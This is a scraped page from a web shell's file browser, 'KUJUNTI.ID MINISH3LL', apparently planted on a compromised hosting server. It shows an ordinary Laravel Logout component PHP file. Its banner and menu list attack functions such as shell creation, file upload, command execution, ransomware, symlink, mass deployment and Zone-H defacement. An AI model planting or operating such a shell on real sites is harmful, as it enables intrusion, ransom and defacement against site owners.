KUJUNTI.ID MINISH3LL
Path : /var/www/clients/client0/web25/web/vendor/cagilo/cagilo/src/Components/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/clients/client0/web25/web/vendor/cagilo/cagilo/src/Components/Logout.php


<?php

declare(strict_types=1);

namespace Cagilo\UI\Components;

use Illuminate\Contracts\View\View;
use Illuminate\Support\Facades\Route;
use Illuminate\View\Component;

/**
 * It is recommended to use the <x-submit> tag instead of this class
 */
class Logout extends Component
{
    /**
     * Attribute specifies where to send
     * the form-data when a form is submitted.
     *
     * @var string
     */
    public string $action;

    /**
     * The id attribute specifies the form and button.
     *
     * @var string
     */
    public string $formId;

    /**
     * @param string $action
     * @param string $formId
     */
    public function __construct(string $action = 'logout', string $formId = 'logout')
    {
        $this->action = Route::has($action) ? route($action) : $action;
        $this->formId = $formId;
    }

    /**
     * @return \Illuminate\Contracts\View\View
     */
    public function render(): View
    {
        return view('cagilo::logout');
    }
}

© KUJUNTI.ID

Website Feedback Form

Please fill out the form below to send us your feedback.




Contact Support